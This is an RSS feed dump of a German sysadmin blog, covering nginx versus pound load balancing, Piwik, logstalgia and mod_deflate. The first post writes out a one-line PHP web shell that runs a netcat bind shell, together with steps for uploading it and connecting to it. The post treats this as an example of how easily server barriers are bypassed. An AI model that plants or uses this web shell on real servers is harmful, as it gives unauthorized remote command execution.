exdc » apache http://exdc.net Fri, 19 Mar 2010 09:29:23 +0000 http://wordpress.org/?v=2.9.2 de-de hourly 1 2006-2007 thomas@exdc.net (exdc) thomas@exdc.net (exdc) posts 1440 exdc exdc thomas@exdc.net No no http://kero.hopto.org/wordpress2/wp-content/plugins/podpress/images/powered_by_podpress.jpg exdc http://exdc.net 144 144 how to get shell access in no mans land http://exdc.net/2010/02/03/how-to-get-shell-acces-in-no-mans-land/ http://exdc.net/2010/02/03/how-to-get-shell-acces-in-no-mans-land/#comments Wed, 03 Feb 2010 09:28:31 +0000 kero http://exdc.net/?p=2344 Eine Datei namens givemeshell.php erstellen und auf den Webserver laden, die sollte so was wie

<?php system("nc -lp 3222 -e /bin/sh"); ?>

enthalten. Danach die Datei per Webbrowser aufrufen und dann lokal

netcat webserver 3222

aufrufen. Und schon hat man unter Debain (Ubuntu sicherlich auch) eine shell als www-data.
Ich hab den Artikel erst nur ueberflogen, wohl weil ich damals schon einen LB eingesetzt habe und die Apache Server alle gut abgeschirmt sind. Es ist immer wieder interessant wie schnell man einfache Barrieren umgehen kann.

via nion's blog

]]> http://exdc.net/2010/02/03/how-to-get-shell-acces-in-no-mans-land/feed/ 0 nginx http://exdc.net/2009/11/17/nginx/ http://exdc.net/2009/11/17/nginx/#comments Tue, 17 Nov 2009 13:52:22 +0000 kero http://exdc.net/?p=2190 Ich bin ja neulich von pound zu nginx gewechselt. Erst war ich natuerlich skeptisch, weil pound sehr einfach in der Konfiguration ist und nginx doch eher in die Richtung eigener Webserver geht und dementsprechend die Konfiguration etwas mehr Zeit erfordert hat. Nginx laeuft nun seit gut einem Monat und ich bin sehr zufrieden. Die Last ist gering und die Performance sehr gut. Bei ein paar 100000 Requests am Tag, eine gute Leistung. Ach ja, vor pound hatten wir eine LB Appliance (keine F5), im Vergleich dazu faehrt man meiner Meinung nach mit Nginx besser, da man viel flexibler in der Konfiguration ist.

links:
nagios plugin fuer nginx
cacti zeugs fuer nginx

]]> http://exdc.net/2009/11/17/nginx/feed/ 0 pound -> nginx http://exdc.net/2009/10/06/pound-nginx/ http://exdc.net/2009/10/06/pound-nginx/#comments Tue, 06 Oct 2009 10:13:22 +0000 kero http://exdc.net/?p=2144 Umzug von pound nach nginx. Nginx ist schon ein bisschen...maechtiger. Aber nginx braucht laenger um den Ausfall eines backends zu bemerken (trotz proxy_connect_timeout 60, falls das der Alive Option von pound gleichkommt), bzw. bei komplett Ausfall der backends eine Fehlerseite zu liefern, das ging bei pound besser. Die Tage mal die Parameter genauer anschauen. Das access.log schaltet man uebrigens einfach mit access_log off ab.

]]> http://exdc.net/2009/10/06/pound-nginx/feed/ 0 Piwik http://exdc.net/2009/07/02/piwik-2/ http://exdc.net/2009/07/02/piwik-2/#comments Thu, 02 Jul 2009 15:09:47 +0000 kero http://exdc.net/?p=1990 Nun ist es ja so eine Sache mit google. Die Dienste von google sind super, keine Frage. Nun will man aber nicht unbedingt fuer alles google nutzen. Privat setze ich google analytics ein, beruflich streube ich mich  dagegen. Wer aehnlich denkt sollte sich mal Piwik anschauen. Piwik ist sehr einfach einzurichten und zu konfigurieren, speichert default auch keine die IP Daten und sieht gut aus. Updates sind einfach zu installieren und bisher gab es keine Probleme.  Piwik kommt nicht an google ran, keine Frage, aber bei einer 0.4.1er Version muss man das auch noch nicht erwarten. Viele Sachen stoeren noch (Benutzerverwaltung, Verifizierung der Seiten und und und), aber aehnlich wie bei laconica, merkt man den Bedarf an solcher Software und die Motivation der Entwickler. Mal abwarten wie sich Piwik mit ein paar hundert virtuellen Webservern schlaegt.

piwik

]]> http://exdc.net/2009/07/02/piwik-2/feed/ 0 slow me down baby http://exdc.net/2009/06/19/slow-me-down-baby/ http://exdc.net/2009/06/19/slow-me-down-baby/#comments Fri, 19 Jun 2009 10:25:13 +0000 kero http://exdc.net/?p=1969 dies hier

http://www.golem.de/showhigh2.php?file=/0906/67854.html

http://ha.ckers.org/slowloris/

ist tatsaechlich ein ernsthaftes Problem. Die Tage mal schauen wie man das mit pound oder nginx abfangen kann.

]]> http://exdc.net/2009/06/19/slow-me-down-baby/feed/ 0 ApachePong http://exdc.net/2008/10/13/apachepong/ http://exdc.net/2008/10/13/apachepong/#comments Mon, 13 Oct 2008 13:26:13 +0000 kero http://exdc.net/?p=1321

Logfileanalyse mit logstaliga.
zum testen einfach mal
logstalgia /usr/share/logstalgia/example.log
in die shell eingeben.

]]> http://exdc.net/2008/10/13/apachepong/feed/ 0 Komprimiere mich http://exdc.net/2008/04/29/komprimiere-mich/ http://exdc.net/2008/04/29/komprimiere-mich/#comments Tue, 29 Apr 2008 13:17:47 +0000 kero http://exdc.net/?p=957 Ob mod_deflate was bringt? Die Idee dahinter erscheint ja logisch. Ich teste das mal und zwar ab...jetzt.

]]> http://exdc.net/2008/04/29/komprimiere-mich/feed/ 0